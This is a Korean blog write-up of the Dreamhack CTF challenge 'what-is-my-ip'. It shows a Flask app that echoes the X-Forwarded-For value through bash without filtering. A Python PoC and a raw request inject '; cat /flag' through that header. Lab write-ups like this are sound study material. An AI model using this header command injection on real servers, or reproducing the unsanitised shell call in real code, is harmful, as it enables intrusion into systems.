what-is-my-ip

mercure·2024년 7월 23일
0

Dreamhack

목록 보기
15/18

Command injection


flask로 구현된 client_ip 출력 웹 사이트
옵션 XFF 사용

  • X-Forwarded-For(XFF)
    프록시나 로드 밸런서를 통해 웹 서버에 접속하는 Client 의 IP 를 식별하기 위한 헤더
    프록시,로드밸런서를 거칠 경우 프록시 ip,로드밸런서 ip만 남기 때문에 원 client의 ip를 보기 위해서는 XFF헤더가 필요하다.
    ex) [cilent_ip]:[proxy_ip]:[LB_ip]...

코드분석

  • app.py
import os
from subprocess import run, TimeoutExpired
from flask import Flask, request, render_template

app = Flask(__name__)
app.secret_key = os.urandom(64)


@app.route('/')
def flag():
    user_ip = request.access_route[0] if request.access_route else request.remote_addr
    try:
        result = run(
            ["/bin/bash", "-c", f"echo {user_ip}"],
            capture_output=True,
            text=True,
            timeout=3,
        )
        return render_template("ip.html", result=result.stdout)

    except TimeoutExpired:
        return render_template("ip.html", result="Timeout!")


app.run(host='0.0.0.0', port=3000)

user_ip = request.access_route[0] if request.access_route else request.remote_addr

request.access_route(XFF)가 존재하는 경우 request.access_route[0]번째 ip주소(client_ip)를 user_ip에 저장한다.

request.access_route(XFF)가 존재하지 않는 경우 request.remote_addr를 user_ip에 저장한다.

["/bin/bash", "-c", f"echo {user_ip}"]

bash에서 echo명령어를 실행하여 user_ip를 가져오는데 이 경우 아무런 필터링이 없기때문에 user_ip의 값을 조작가능하다면 command injection이 가능하다.

취약점

  • 쉘 명령을 통해 ip 추출
  • 사용자 입력을 검증하지 않음

위 취약점과 XFF헤더를 사용자가 프록시나 파이썬을 통해 추가할 수 있기 때문에 command injection을 수행할 수 있다.

프록시나 python을 통해 XFF헤더의 ip 이후에 ;(세미콜론)과 명령어를 추가하면 사용자 입력검증을 하지 않기떄문에 원하는 flag 값을 얻을 수 있다.

  • poc.py
import requests

# 요청을 보낼 URL
url = '{URL}'

# 헤더에 X-Forwarded-For 추가
headers = {
    'X-Forwarded-For': '127.0.0.1 ; cat /flag'
}

# GET 요청 보내기
response = requests.get(url, headers=headers)

# 응답 출력
print(response.status_code)
print(response.text)
  • proxy (아래 헤더 추가)

    GET / HTTP/1.1
    Host: host3.dreamhack.games:14275
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate, br
    Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
    X-Forwarded-For: {ip};cat /flag
    Connection: keep-alive

무슨 이유인진 모르겠으나 프록시의 경우 connection위에 XFF헤더 삽입해야 플래그 값을 볼 수 있다.

profile
하루에 한걸음씩

0개의 댓글

관련 채용 정보